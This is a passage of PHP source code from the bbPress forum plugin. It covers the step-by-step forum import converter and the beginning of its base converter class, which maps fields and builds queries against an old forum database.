				// Start button clicked
				'start_start'         => esc_html__( 'Starting Import...',   'bbpress' ),
				'start_continue'      => esc_html__( 'Continuing Import...', 'bbpress' ),

				// Import
				'import_complete'     => esc_html__( 'Import Finished.',            'bbpress' ),
				'import_stopped_user' => esc_html__( 'Import Stopped (by User.)',   'bbpress' ),
				'import_error_halt'   => esc_html__( 'Import Halted (Error.)',      'bbpress' ),
				'import_error_db'     => esc_html__( 'Database Connection Failed.', 'bbpress' ),

				// Status
				'status_complete'     => esc_html__( 'Finished',              'bbpress' ),
				'status_stopped'      => esc_html__( 'Stopped',               'bbpress' ),
				'status_starting'     => esc_html__( 'Starting',              'bbpress' ),
				'status_up_next'      => esc_html__( 'Doing step %s...',      'bbpress' ),
				'status_counting'     => esc_html__( 'Next in %s seconds...', 'bbpress' )
			)
		) );
	}

	/**
	 * Callback processor
	 *
	 * @since 2.1.0 bbPress (r3813)
	 */
	public function process_callback() {

		// Ready the converter
		$this->check_access();
		$this->maybe_set_memory();
		$this->maybe_restart();
		$this->setup_options();
		$this->maybe_update_options();

		// Bail if no converter
		if ( ! empty( $this->converter ) ) {
			$this->do_steps();
		}
	}

	/**
	 * Wrap the converter output in HTML, so styling can be applied
	 *
	 * @since 2.1.0 bbPress (r4052)
	 *
	 * @param string $output
	 */
	private function converter_response( $output = '' ) {

		// Sanitize output
		$output = wp_kses_data( $output );

		// Maybe prepend the step
		if ( ! empty( $this->step ) ) {

			// Include percentage
			if ( ! empty( $this->rows_in_step ) ) {
				$progress = sprintf( '<span class="step">%s.</span><span class="output">%s</span><span class="mini-step">%s</span>', $this->step, $output, $this->step_percentage . '%' );

			// Don't include percentage
			} else {
				$progress = sprintf( '<span class="step">%s.</span><span class="output">%s</span>', $this->step, $output );
			}

		// Raw text
		} else {
			$progress = $output;
		}

		// Output
		wp_send_json_success( array(
			'query'         => get_option( '_bbp_converter_query', '' ),
			'current_step'  => $this->step,
			'final_step'    => $this->max_steps,
			'rows_in_step'  => $this->rows_in_step,
			'step_percent'  => $this->step_percentage,
			'total_percent' => $this->total_percentage,
			'progress'      => $progress
		) );
	}

	/**
	 * Attempt to increase memory and set other system settings
	 *
	 * @since 2.6.0 bbPress (r6460)
	 */
	private function maybe_set_memory() {

		// Filter args
		$r = apply_filters( 'bbp_converter_php_ini_overrides', array(
			'implicit_flush'     => '1',
			'memory_limit'       => '256M',
			'max_execution_time' => HOUR_IN_SECONDS * 6
		) );

		// Get disabled PHP functions (to avoid using them)
		$disabled = explode( ',', @ini_get( 'disable_functions' ) );

		// Maybe avoid terminating when the client goes away (if function is not disabled)
		if ( ! in_array( 'ignore_user_abort', $disabled, true ) ) {
			@ignore_user_abort( true );
		}

		// Maybe set memory & time limits, and flush style (if function is not disabled)
		if ( ! in_array( 'ini_set', $disabled, true ) ) {
			foreach ( $r as $key => $value ) {
				@ini_set( $key, $value );
			}
		}
	}

	/**
	 * Maybe restart the converter
	 *
	 * @since 2.6.0 bbPress (r6460)
	 */
	private function maybe_restart() {

		// Save step and count so that it can be restarted.
		if ( ! get_option( '_bbp_converter_step' ) || ! empty( $_POST['_bbp_converter_restart'] ) ) {
			$this->step             = 1;
			$this->start            = 0;
			$this->step_percentage  = 0;
			$this->total_percentage = 0;
			$this->rows_in_step     = 0;
			$this->maybe_update_options();
		}
	}

	/**
	 * Maybe update options
	 *
	 * @since 2.6.0 bbPress (r6637)
	 */
	private function maybe_update_options() {

		// Default options
		$options = array(

			// Step & Start
			'_bbp_converter_step'         => $this->step,
			'_bbp_converter_start'        => $this->start,
			'_bbp_converter_rows_in_step' => $this->rows_in_step,

			// Halt
			'_bbp_converter_halt' => ! empty( $_POST['_bbp_converter_halt'] )
				? (int) $_POST['_bbp_converter_halt']
				: 0,

			// Rows (bound between 1 and 5000)
			'_bbp_converter_rows' => ! empty( $_POST['_bbp_converter_rows'] )
				? min( max( (int) $_POST['_bbp_converter_rows'], 1 ), 5000 )
				: 0,

			// Platform
			'_bbp_converter_platform' => ! empty( $_POST['_bbp_converter_platform' ] )
				? sanitize_text_field( $_POST['_bbp_converter_platform' ] )
				: '',

			// Convert Users
			'_bbp_converter_convert_users' => ! empty( $_POST['_bbp_converter_convert_users'] )
				? (bool) $_POST['_bbp_converter_convert_users']
				: false,

			// DB User
			'_bbp_converter_db_user' => ! empty( $_POST['_bbp_converter_db_user'] )
				? sanitize_text_field( $_POST['_bbp_converter_db_user'] )
				: '',

			// DB Password
			'_bbp_converter_db_pass' => ! empty( $_POST['_bbp_converter_db_pass'] )
				? sanitize_text_field( $_POST['_bbp_converter_db_pass'] )
				: '',

			// DB Name
			'_bbp_converter_db_name' => ! empty( $_POST['_bbp_converter_db_name'] )
				? sanitize_text_field( $_POST['_bbp_converter_db_name'] )
				: '',

			// DB Server
			'_bbp_converter_db_server' => ! empty( $_POST['_bbp_converter_db_server'] )
				? sanitize_text_field( $_POST['_bbp_converter_db_server'] )
				: '',

			// DB Port
			'_bbp_converter_db_port' => ! empty( $_POST['_bbp_converter_db_port'] )
				? (int) sanitize_text_field( $_POST['_bbp_converter_db_port'] )
				: '',

			// DB Table Prefix
			'_bbp_converter_db_prefix' => ! empty( $_POST['_bbp_converter_db_prefix'] )
				? sanitize_text_field( $_POST['_bbp_converter_db_prefix'] )
				: ''
		);

		// Update/delete options
		foreach ( $options as $key => $value ) {
			update_option( $key, $value );
		}
	}

	/**
	 * Setup converter options
	 *
	 * @since 2.6.0 bbPress (r6460)
	 */
	private function setup_options() {

		// Set starting point & rows
		$this->step         = (int) get_option( '_bbp_converter_step',         1   );
		$this->start        = (int) get_option( '_bbp_converter_start',        0   );
		$this->rows         = (int) get_option( '_bbp_converter_rows',         100 );
		$this->rows_in_step = (int) get_option( '_bbp_converter_rows_in_step', 0   );

		// Set boundaries
		$this->max          = ( $this->start + $this->rows ) - 1;

		// Set platform
		$this->platform     = get_option( '_bbp_converter_platform' );

		// Total percentage
		$this->total_percentage = round( ( $this->step / $this->max_steps ) * 100, 2 );

		// Total mini steps
		if ( $this->rows_in_step > 0 ) {
			$total_mini_steps      = ceil( $this->rows_in_step / $this->rows );
			$current_mini_step     = ceil( $this->start        / $this->rows );
			$this->step_percentage = round( ( $current_mini_step / $total_mini_steps ) * 100, 2 );
		} else {
			$this->step_percentage = 0;
		}

		// Maybe include the appropriate converter.
		if ( ! empty( $this->platform ) ) {
			$this->converter = bbp_new_converter( $this->platform );
		}
	}

	/**
	 * Check that user can access the converter
	 *
	 * @since 2.6.0 bbPress (r6460)
	 */
	private function check_access() {

		// Bail if user cannot view import page
		if ( ! current_user_can( 'bbp_tools_import_page' ) ) {
			wp_die( '0' );
		}

		// Verify intent
		check_ajax_referer( 'bbp_converter_process' );
	}

	/**
	 * Reset the converter
	 *
	 * @since 2.6.0 bbPress (r6460)
	 */
	private function reset() {
		update_option( '_bbp_converter_step',         0  );
		update_option( '_bbp_converter_start',        0  );
		update_option( '_bbp_converter_rows_in_step', 0  );
		update_option( '_bbp_converter_query',        '' );
	}

	/**
	 * Bump the step and reset the start
	 *
	 * @since 2.6.0 bbPress (r6460)
	 */
	private function bump_step() {

		// Next step
		$next_step = (int) ( $this->step + 1 );

		// Don't let step go over max
		$step = ( $next_step <= $this->max_steps )
			? $next_step
			: 0;

		// Update step and start at 0
		update_option( '_bbp_converter_step',         $step );
		update_option( '_bbp_converter_start',        0     );
		update_option( '_bbp_converter_rows_in_step', 0     );
	}

	/**
	 * Bump the start within the current step
	 *
	 * @since 2.6.0 bbPress (r6460)
	 */
	private function bump_start() {

		// Set rows in step from option
		$this->rows_in_step = get_option( '_bbp_converter_rows_in_step', 0 );

		// Get rows to start from
		$start = (int) ( $this->start + $this->rows );

		// Enforce maximum if exists
		if ( $this->rows_in_step > 0 ) {

			// Start cannot be larger than total rows
			if ( $start > $this->rows_in_step ) {
				$start = $this->rows_in_step;
			}

			// Max can't be greater than total rows
			if ( $this->max > $this->rows_in_step ) {
				$this->max = $this->rows_in_step;
			}
		}

		// Update the start option
		update_option( '_bbp_converter_start', $start );
	}

	/**
	 * Do the converter step
	 *
	 * @since 2.6.0 bbPress (r6460)
	 */
	private function do_steps() {

		// Step exists in map, and method exists
		if ( isset( $this->steps[ $this->step ] ) && method_exists( $this, "step_{$this->steps[ $this->step ]}" ) ) {
			return call_user_func( array( $this, "step_{$this->steps[ $this->step ]}" ) );
		}

		// Done!
		$this->step_done();
	}

	/** Steps *****************************************************************/

	/**
	 * Maybe clean the sync table
	 *
	 * @since 2.6.0 bbPress (r6513)
	 */
	private function step_sync_table() {
		if ( true === $this->converter->clean ) {
			if ( $this->converter->clean() ) {
				$this->bump_step();
				$this->sync_table( true );

				empty( $this->start )
					? $this->converter_response( esc_html__( 'Readying sync-table', 'bbpress' ) )
					: $this->converter_response( esc_html__( 'Sync-table ready',    'bbpress' ) );
			} else {
				$this->bump_start();
				$this->converter_response( sprintf( esc_html__( 'Deleting previously converted data (%1$s through %2$s)', 'bbpress' ), $this->start, $this->max ) );
			}

			$this->converter->clean = false;
		} else {
			$this->bump_step();
			$this->sync_table( false );
			$this->converter_response( esc_html__( 'Skipping sync-table clean-up', 'bbpress' ) );
		}
	}

	/**
	 * Maybe convert users
	 *
	 * @since 2.6.0 bbPress (r6513)
	 */
	private function step_users() {
		if ( true === $this->converter->convert_users ) {
			if ( $this->converter->convert_users( $this->start ) ) {
				$this->bump_step();

				empty( $this->start )
					? $this->converter_response( esc_html__( 'No users to import', 'bbpress' ) )
					: $this->converter_response( esc_html__( 'All users imported', 'bbpress' ) );
			} else {
				$this->bump_start();
				$this->converter_response( sprintf( esc_html__( 'Converting users (%1$s through %2$s of %3$s)', 'bbpress' ), $this->start, $this->max, $this->rows_in_step ) );
			}
		} else {
			$this->bump_step();
			$this->converter_response( esc_html__( 'Skipping user clean-up', 'bbpress' ) );
		}
	}

	/**
	 * Maybe clean up passwords
	 *
	 * @since 2.6.0 bbPress (r6513)
	 */
	private function step_passwords() {
		if ( true === $this->converter->convert_users ) {
			if ( $this->converter->clean_passwords( $this->start ) ) {
				$this->bump_step();

				empty( $this->start )
					? $this->converter_response( esc_html__( 'No passwords to clear', 'bbpress' ) )
					: $this->converter_response( esc_html__( 'All passwords cleared', 'bbpress' ) );
			} else {
				$this->bump_start();
				$this->converter_response( sprintf( esc_html__( 'Delete default WordPress user passwords (%1$s through %2$s)', 'bbpress' ), $this->start, $this->max ) );
			}
		} else {
			$this->bump_step();
			$this->converter_response( esc_html__( 'Skipping password clean-up', 'bbpress' ) );
		}
	}

	/**
	 * Maybe convert forums
	 *
	 * @since 2.6.0 bbPress (r6513)
	 */
	private function step_forums() {
		if ( $this->converter->convert_forums( $this->start ) ) {
			$this->bump_step();

			empty( $this->start )
				? $this->converter_response( esc_html__( 'No forums to import', 'bbpress' ) )
				: $this->converter_response( esc_html__( 'All forums imported', 'bbpress' ) );
		} else {
			$this->bump_start();
			$this->converter_response( sprintf( esc_html__( 'Converting forums (%1$s through %2$s of %3$s)', 'bbpress' ), $this->start, $this->max, $this->rows_in_step ) );
		}
	}

	/**
	 * Maybe walk the forum hierarchy
	 *
	 * @since 2.6.0 bbPress (r6513)
	 */
	private function step_forum_hierarchy() {
		if ( $this->converter->convert_forum_parents( $this->start ) ) {
			$this->bump_step();

			empty( $this->start )
				? $this->converter_response( esc_html__( 'No forum parents to import', 'bbpress' ) )
				: $this->converter_response( esc_html__( 'All forum parents imported', 'bbpress' ) );
		} else {
			$this->bump_start();
			$this->converter_response( sprintf( esc_html__( 'Calculating forum hierarchy (%1$s through %2$s of %3$s)', 'bbpress' ), $this->start, $this->max, $this->rows_in_step ) );
		}
	}

	/**
	 * Maybe convert forum subscriptions
	 *
	 * @since 2.6.0 bbPress (r6513)
	 */
	private function step_forum_subscriptions() {
		if ( $this->converter->convert_forum_subscriptions( $this->start ) ) {
			$this->bump_step();

			empty( $this->start )
				? $this->converter_response( esc_html__( 'No forum subscriptions to import', 'bbpress' ) )
				: $this->converter_response( esc_html__( 'All forum subscriptions imported', 'bbpress' ) );
		} else {
			$this->bump_start();
			$this->converter_response( sprintf( esc_html__( 'Converting forum subscriptions (%1$s through %2$s of %3$s)', 'bbpress' ), $this->start, $this->max, $this->rows_in_step ) );
		}
	}

	/**
	 * Maybe convert topics
	 *
	 * @since 2.6.0 bbPress (r6513)
	 */
	private function step_topics() {
		if ( $this->converter->convert_topics( $this->start ) ) {
			$this->bump_step();

			empty( $this->start )
				? $this->converter_response( esc_html__( 'No topics to import', 'bbpress' ) )
				: $this->converter_response( esc_html__( 'All topics imported', 'bbpress' ) );
		} else {
			$this->bump_start();
			$this->converter_response( sprintf( esc_html__( 'Converting topics (%1$s through %2$s of %3$s)', 'bbpress' ), $this->start, $this->max, $this->rows_in_step ) );
		}
	}

	/**
	 * Maybe convert topic authors (anonymous)
	 *
	 * @since 2.6.0 bbPress (r6513)
	 */
	private function step_topics_authors() {
		if ( $this->converter->convert_anonymous_topic_authors( $this->start ) ) {
			$this->bump_step();

			empty( $this->start )
				? $this->converter_response( esc_html__( 'No anonymous topic authors to import', 'bbpress' ) )
				: $this->converter_response( esc_html__( 'All anonymous topic authors imported', 'bbpress' ) );
		} else {
			$this->bump_start();
			$this->converter_response( sprintf( esc_html__( 'Converting anonymous topic authors (%1$s through %2$s of %3$s)', 'bbpress' ), $this->start, $this->max, $this->rows_in_step ) );
		}
	}

	/**
	 * Maybe convert sticky topics (not super stickies)
	 *
	 * @since 2.6.0 bbPress (r6513)
	 */
	private function step_stickies() {
		if ( $this->converter->convert_topic_stickies( $this->start ) ) {
			$this->bump_step();

			empty( $this->start )
				? $this->converter_response( esc_html__( 'No stickies to import', 'bbpress' ) )
				: $this->converter_response( esc_html__( 'All stickies imported', 'bbpress' ) );
		} else {
			$this->bump_start();
			$this->converter_response( sprintf( esc_html__( 'Calculating topic stickies (%1$s through %2$s of %3$s)', 'bbpress' ), $this->start, $this->max, $this->rows_in_step ) );
		}
	}

	/**
	 * Maybe convert super-sticky topics (not per-forum)
	 *
	 * @since 2.6.0 bbPress (r6513)
	 */
	private function step_super_stickies() {
		if ( $this->converter->convert_topic_super_stickies( $this->start ) ) {
			$this->bump_step();

			empty( $this->start )
				? $this->converter_response( esc_html__( 'No super stickies to import', 'bbpress' ) )
				: $this->converter_response( esc_html__( 'All super stickies imported', 'bbpress' ) );
		} else {
			$this->bump_start();
			$this->converter_response( sprintf( esc_html__( 'Calculating topic super stickies (%1$s through %2$s of %3$s)', 'bbpress' ), $this->start, $this->max, $this->rows_in_step ) );
		}
	}

	/**
	 * Maybe close converted topics
	 *
	 * @since 2.6.0 bbPress (r6513)
	 */
	private function step_closed_topics() {
		if ( $this->converter->convert_topic_closed_topics( $this->start ) ) {
			$this->bump_step();

			empty( $this->start )
				? $this->converter_response( esc_html__( 'No closed topics to import', 'bbpress' ) )
				: $this->converter_response( esc_html__( 'All closed topics imported', 'bbpress' ) );
		} else {
			$this->bump_start();
			$this->converter_response( sprintf( esc_html__( 'Calculating closed topics (%1$s through %2$s of %3$s)', 'bbpress' ), $this->start, $this->max, $this->rows_in_step ) );
		}
	}

	/**
	 * Maybe convert topic tags
	 *
	 * @since 2.6.0 bbPress (r6513)
	 */
	private function step_topic_tags() {
		if ( $this->converter->convert_tags( $this->start ) ) {
			$this->bump_step();

			empty( $this->start )
				? $this->converter_response( esc_html__( 'No topic tags to import', 'bbpress' ) )
				: $this->converter_response( esc_html__( 'All topic tags imported', 'bbpress' ) );
		} else {
			$this->bump_start();
			$this->converter_response( sprintf( esc_html__( 'Converting topic tags (%1$s through %2$s of %3$s)', 'bbpress' ), $this->start, $this->max, $this->rows_in_step ) );
		}
	}

	/**
	 * Maybe convert topic subscriptions
	 *
	 * @since 2.6.0 bbPress (r6513)
	 */
	private function step_topic_subscriptions() {
		if ( $this->converter->convert_topic_subscriptions( $this->start ) ) {
			$this->bump_step();

			empty( $this->start )
				? $this->converter_response( esc_html__( 'No topic subscriptions to import', 'bbpress' ) )
				: $this->converter_response( esc_html__( 'All topic subscriptions imported', 'bbpress' ) );
		} else {
			$this->bump_start();
			$this->converter_response( sprintf( esc_html__( 'Converting topic subscriptions (%1$s through %2$s of %3$s)', 'bbpress' ), $this->start, $this->max, $this->rows_in_step ) );
		}
	}

	/**
	 * Maybe convert topic favorites
	 *
	 * @since 2.6.0 bbPress (r6513)
	 */
	private function step_topic_favorites() {
		if ( $this->converter->convert_favorites( $this->start ) ) {
			$this->bump_step();

			empty( $this->start )
				? $this->converter_response( esc_html__( 'No favorites to import', 'bbpress' ) )
				: $this->converter_response( esc_html__( 'All favorites imported', 'bbpress' ) );
		} else {
			$this->bump_start();
			$this->converter_response( sprintf( esc_html__( 'Converting favorites (%1$s through %2$s of %3$s)', 'bbpress' ), $this->start, $this->max, $this->rows_in_step ) );
		}
	}

	/**
	 * Maybe convert replies
	 *
	 * @since 2.6.0 bbPress (r6513)
	 */
	private function step_replies() {
		if ( $this->converter->convert_replies( $this->start ) ) {
			$this->bump_step();

			empty( $this->start )
				? $this->converter_response( esc_html__( 'No replies to import', 'bbpress' ) )
				: $this->converter_response( esc_html__( 'All replies imported', 'bbpress' ) );
		} else {
			$this->bump_start();
			$this->converter_response( sprintf( esc_html__( 'Converting replies (%1$s through %2$s of %3$s)', 'bbpress' ), $this->start, $this->max, $this->rows_in_step ) );
		}
	}

	/**
	 * Maybe convert reply authors (anonymous)
	 *
	 * @since 2.6.0 bbPress (r6513)
	 */
	private function step_reply_authors() {
		if ( $this->converter->convert_anonymous_reply_authors( $this->start ) ) {
			$this->bump_step();

			empty( $this->start )
				? $this->converter_response( esc_html__( 'No anonymous reply authors to import', 'bbpress' ) )
				: $this->converter_response( esc_html__( 'All anonymous reply authors imported', 'bbpress' ) );
		} else {
			$this->bump_start();
			$this->converter_response( sprintf( esc_html__( 'Converting anonymous reply authors (%1$s through %2$s of %3$s)', 'bbpress' ), $this->start, $this->max, $this->rows_in_step ) );
		}
	}

	/**
	 * Maybe convert the threaded reply hierarchy
	 *
	 * @since 2.6.0 bbPress (r6513)
	 */
	private function step_reply_hierarchy() {
		if ( $this->converter->convert_reply_to_parents( $this->start ) ) {
			$this->bump_step();

			empty( $this->start )
				? $this->converter_response( esc_html__( 'No threaded replies to import', 'bbpress' ) )
				: $this->converter_response( esc_html__( 'All threaded replies imported', 'bbpress' ) );
		} else {
			$this->bump_start();
			$this->converter_response( sprintf( esc_html__( 'Calculating threaded replies parents (%1$s through %2$s of %3$s)', 'bbpress' ), $this->start, $this->max, $this->rows_in_step ) );
		}
	}

	/**
	 * Done!
	 *
	 * @since 2.6.0 bbPress (r6513)
	 */
	private function step_done() {
		$this->reset();
		$this->converter_response( esc_html__( 'Import Finished', 'bbpress' ) );
	}

	/** Helper Table **********************************************************/

	/**
	 * Create Tables for fast syncing
	 *
	 * @since 2.1.0 bbPress (r3813)
	 */
	public static function sync_table( $drop = false ) {

		// Setup DB
		$bbp_db       = bbp_db();
		$table_name   = $bbp_db->prefix . 'bbp_converter_translator';
		$table_exists = $bbp_db->get_var( "SHOW TABLES LIKE '{$table_name}'" ) === $table_name;

		// Maybe drop the sync table
		if ( ( true === $drop ) && ( true === $table_exists ) ) {
			$bbp_db->query( "DROP TABLE {$table_name}" );
		}

		// Maybe include the upgrade functions, for dbDelta()
		if ( ! function_exists( 'dbDelta' ) ) {
			require_once ABSPATH . '/wp-admin/includes/upgrade.php';
		}

		// Defaults
		$sql              = array();
		$charset_collate  = '';

		// https://bbpress.trac.wordpress.org/ticket/3145
		$max_index_length = 75;

		// Maybe override the character set
		if ( ! empty( $bbp_db->charset ) ) {
			$charset_collate .= "DEFAULT CHARACTER SET {$bbp_db->charset}";
		}

		// Maybe override the collation
		if ( ! empty( $bbp_db->collate ) ) {
			$charset_collate .= " COLLATE {$bbp_db->collate}";
		}

		/** Translator ********************************************************/

		$sql[] = "CREATE TABLE {$table_name} (
					meta_id mediumint(8) unsigned not null auto_increment,
					value_type varchar(25) null,
					value_id bigint(20) unsigned not null default '0',
					meta_key varchar({$max_index_length}) null,
					meta_value varchar({$max_index_length}) null,
				PRIMARY KEY (meta_id),
					KEY value_id (value_id),
					KEY meta_join (meta_key({$max_index_length}), meta_value({$max_index_length}))
				) {$charset_collate}";

		dbDelta( $sql );
	}
}
endif;
includes/admin/classes/class-bbp-converter-base.php000066600000114733151771460310016415 0ustar00<?php

/**
 * bbPress Converter Base Class
 *
 * Based on the hard work of Adam Ellis
 *
 * @package bbPress
 * @subpackage Administration
 */

// Exit if accessed directly
defined( 'ABSPATH' ) || exit;

if ( ! class_exists( 'BBP_Converter_Base' ) ) :
/**
 * Base class to be extended by specific individual importers
 *
 * @since 2.1.0 bbPress (r3813)
 */
abstract class BBP_Converter_Base {

	/**
	 * @var array() This is the field mapping array to process.
	 */
	protected $field_map = array();

	/**
	 * @var object This is the connection to the WordPress database.
	 */
	protected $wpdb;

	/**
	 * @var object This is the connection to the other platforms database.
	 */
	protected $opdb;

	/**
	 * @var int Maximum number of rows to convert at 1 time. Default 100.
	 */
	protected $max_rows = 100;

	/**
	 * @var array() Map of topic to forum.  It is for optimization.
	 */
	protected $map_topicid_to_forumid = array();

	/**
	 * @var array() Map of from old forum ids to new forum ids.  It is for optimization.
	 */
	protected $map_forumid = array();

	/**
	 * @var array() Map of from old topic ids to new topic ids.  It is for optimization.
	 */
	protected $map_topicid = array();

	/**
	 * @var array() Map of from old reply_to ids to new reply_to ids.  It is for optimization.
	 */
	protected $map_reply_to = array();

	/**
	 * @var array() Map of from old user ids to new user ids.  It is for optimization.
	 */
	protected $map_userid = array();

	/**
	 * @var str This is the charset for your wp database.
	 */
	public $charset = '';

	/**
	 * @var boolean Sync table available.
	 */
	public $sync_table = false;

	/**
	 * @var str Sync table name.
	 */
	public $sync_table_name = '';

	/**
	 * @var bool Whether users should be converted or not. Default false.
	 */
	public $convert_users = false;

	/**
	 * @var bool Whether to clean up any old converter data. Default false.
	 */
	public $clean = false;

	/**
	 * @var array Custom BBCode class properties in a key => value format
	 */
	public $bbcode_parser_properties = array();

	/** Methods ***************************************************************/

	/**
	 * This is the constructor and it connects to the platform databases.
	 */
	public function __construct() {
		$this->init();
		$this->setup_globals();
	}

	/**
	 * Initialize the converter
	 *
	 * @since 2.1.0
	 */
	private function init() {

		/** BBCode Parse Properties *******************************************/

		// Setup smiley URL & path
		$this->bbcode_parser_properties = array(
			'smiley_url' => includes_url( 'images/smilies' ),
			'smiley_dir' => '/' . WPINC . '/images/smilies'
		);

		/** Sanitize Options **************************************************/

		$this->clean         = ! empty( $_POST['_bbp_converter_clean'] );
		$this->convert_users = (bool) get_option( '_bbp_converter_convert_users', false );
		$this->halt          = (bool) get_option( '_bbp_converter_halt',          0     );
		$this->max_rows      = (int)  get_option( '_bbp_converter_rows',          100   );

		/** Sanitize Connection ***********************************************/

		$db_user   = get_option( '_bbp_converter_db_user',   DB_USER     );
		$db_pass   = get_option( '_bbp_converter_db_pass',   DB_PASSWORD );
		$db_name   = get_option( '_bbp_converter_db_name',   DB_NAME     );
		$db_host   = get_option( '_bbp_converter_db_server', DB_HOST     );
		$db_port   = get_option( '_bbp_converter_db_port',   ''          );
		$db_prefix = get_option( '_bbp_converter_db_prefix', ''          );

		// Maybe add port to server
		if ( ! empty( $db_port ) && ! empty( $db_host ) && ! strstr( $db_host, ':' ) ) {
			$db_host = "{$db_host}:{$db_port}";
		}

		/** Get database connections ******************************************/

		// Setup WordPress Database
		$this->wpdb = bbp_db();

		// Setup old forum Database
		$this->opdb = new BBP_Converter_DB( $db_user, $db_pass, $db_name, $db_host );

		// Connection failed
		if ( ! $this->opdb->db_connect( false ) ) {
			$error = new WP_Error( 'bbp_converter_db_connection_failed', esc_html__( 'Database connection failed.', 'bbpress' ) );
			wp_send_json_error( $error );
		}

		// Maybe setup the database prefix
		$this->opdb->prefix = $db_prefix;

		/**
		 * Don't wp_die() uncontrollably
		 */
		$this->wpdb->show_errors( false );
		$this->opdb->show_errors( false );

		/**
		 * Syncing
		 */
		$this->sync_table_name = $this->wpdb->prefix . 'bbp_converter_translator';
		$this->sync_table      = $this->sync_table_name === $this->wpdb->get_var( "SHOW TABLES LIKE '{$this->sync_table_name}'" )
			? true
			: false;

		/**
		 * Character set
		 */
		$this->charset = ! empty( $this->wpdb->charset )
			? $this->wpdb->charset
			: 'UTF8';

		/**
		 * Default mapping.
		 */

		/** Forum Section *****************************************************/

		$this->field_map[] = array(
			'to_type'      => 'forum',
			'to_fieldname' => 'post_status',
			'default'      => 'publish'
		);
		$this->field_map[] = array(
			'to_type'      => 'forum',
			'to_fieldname' => 'comment_status',
			'default'      => 'closed'
		);
		$this->field_map[] = array(
			'to_type'      => 'forum',
			'to_fieldname' => 'ping_status',
			'default'      => 'closed'
		);
		$this->field_map[] = array(
			'to_type'      => 'forum',
			'to_fieldname' => 'post_type',
			'default'      => 'forum'
		);

		/** Topic Section *****************************************************/

		$this->field_map[] = array(
			'to_type'      => 'topic',
			'to_fieldname' => 'post_status',
			'default'      => 'publish'
		);
		$this->field_map[] = array(
			'to_type'      => 'topic',
			'to_fieldname' => 'comment_status',
			'default'      => 'closed'
		);
		$this->field_map[] = array(
			'to_type'      => 'topic',
			'to_fieldname' => 'ping_status',
			'default'      => 'closed'
		);
		$this->field_map[] = array(
			'to_type'      => 'topic',
			'to_fieldname' => 'post_type',
			'default'      => 'topic'
		);

		/** Post Section ******************************************************/

		$this->field_map[] = array(
			'to_type'      => 'reply',
			'to_fieldname' => 'post_status',
			'default'      => 'publish'
		);
		$this->field_map[] = array(
			'to_type'      => 'reply',
			'to_fieldname' => 'comment_status',
			'default'      => 'closed'
		);
		$this->field_map[] = array(
			'to_type'      => 'reply',
			'to_fieldname' => 'ping_status',
			'default'      => 'closed'
		);
		$this->field_map[] = array(
			'to_type'      => 'reply',
			'to_fieldname' => 'post_type',
			'default'      => 'reply'
		);

		/** User Section ******************************************************/

		$this->field_map[] = array(
			'to_type'      => 'user',
			'to_fieldname' => 'role',
			'default'      => get_option( 'default_role' )
		);
	}

	/**
	 * Setup global values
	 */
	public function setup_globals() {}

	/**
	 * Convert Forums
	 */
	public function convert_forums( $start = 1 ) {
		return $this->convert_table( 'forum', $start );
	}

	/**
	 * Convert Topics / Threads
	 */
	public function convert_topics( $start = 1 ) {
		return $this->convert_table( 'topic', $start );
	}

	/**
	 * Convert Posts
	 */
	public function convert_replies( $start = 1 ) {
		return $this->convert_table( 'reply', $start );
	}

	/**
	 * Convert Users
	 */
	public function convert_users( $start = 1 ) {
		return $this->convert_table( 'user', $start );
	}

	/**
	 * Convert Topic Tags
	 */
	public function convert_tags( $start = 1 ) {
		return $this->convert_table( 'tags', $start );
	}

	/**
	 * Convert Forum Subscriptions
	 */
	public function convert_forum_subscriptions( $start = 1 ) {
		return $this->convert_table( 'forum_subscriptions', $start );
	}

	/**
	 * Convert Topic Subscriptions
	 */
	public function convert_topic_subscriptions( $start = 1 ) {
		return $this->convert_table( 'topic_subscriptions', $start );
	}

	/**
	 * Convert Favorites
	 */
	public function convert_favorites( $start = 1 ) {
		return $this->convert_table( 'favorites', $start );
	}

	/**
	 * Convert Table
	 *
	 * @param string to type
	 * @param int Start row
	 */
	public function convert_table( $to_type, $start ) {

		// Set some defaults
		$has_insert     = false;
		$from_tablename = '';
		$field_list     = $from_tables = $tablefield_array = array();

		// Toggle Table Name based on $to_type (destination)
		switch ( $to_type ) {
			case 'user' :
				$tablename = $this->wpdb->users;
				break;

			case 'tags' :
				$tablename = '';
				break;

			case 'forum_subscriptions' :
				$tablename = $this->wpdb->postmeta;
				break;

			case 'topic_subscriptions' :
				$tablename = $this->wpdb->postmeta;
				break;

			case 'favorites' :
				$tablename = $this->wpdb->postmeta;
				break;

			default :
				$tablename = $this->wpdb->posts;
		}

		// Get the fields from the destination table
		if ( ! empty( $tablename ) ) {
			$tablefield_array = $this->get_fields( $tablename );
		}

		/** Step 1 ************************************************************/

		// Loop through the field maps, and look for to_type matches
		foreach ( $this->field_map as $item ) {

			// Yay a match, and we have a from table, too
			if ( ( $item['to_type'] === $to_type ) && ! empty( $item['from_tablename'] ) ) {

				// $from_tablename was set from a previous loop iteration
				if ( ! empty( $from_tablename ) ) {

					// Doing some joining
					if ( ! in_array( $item['from_tablename'], $from_tables, true ) && in_array( $item['join_tablename'], $from_tables, true ) ) {
						$from_tablename .= ' ' . $item['join_type'] . ' JOIN ' . $this->opdb->prefix . $item['from_tablename'] . ' AS ' . $item['from_tablename'] . ' ' . $item['join_expression'];
					}

				// $from_tablename needs to be set
				} else {
					$from_tablename = $item['from_tablename'] . ' AS ' . $item['from_tablename'];
				}

				// Specific FROM expression data used
				if ( ! empty( $item['from_expression'] ) ) {

					// No 'WHERE' in expression
					if ( stripos( $from_tablename, "WHERE" ) === false ) {
						$from_tablename .= ' ' . $item['from_expression'];

					// 'WHERE' in expression, so replace with 'AND'
					} else {
						$from_tablename .= ' ' . str_replace( "WHERE", "AND", $item['from_expression'] );
					}
				}

				// Add tablename and fieldname to arrays, formatted for querying
				$from_tables[] = $item['from_tablename'];
				$field_list[]  = 'convert(' . $item['from_tablename'] . '.' . $item['from_fieldname'] . ' USING "' . $this->charset . '") AS ' . $item['from_fieldname'];
			}
		}

		/** Step 2 ************************************************************/

		// We have a $from_tablename, so we want to get some data to convert
		if ( ! empty( $from_tablename ) ) {

			// Update rows
			$this->count_rows_by_table( "{$this->opdb->prefix}{$from_tablename}" );

			// Get some data from the old forums
			$field_list  = array_unique( $field_list );
			$fields      = implode( ',', $field_list );
			$forum_query = "SELECT {$fields} FROM {$this->opdb->prefix}{$from_tablename} LIMIT {$start}, {$this->max_rows}";

			// Set this query as the last one ran
			$this->update_query( $forum_query );

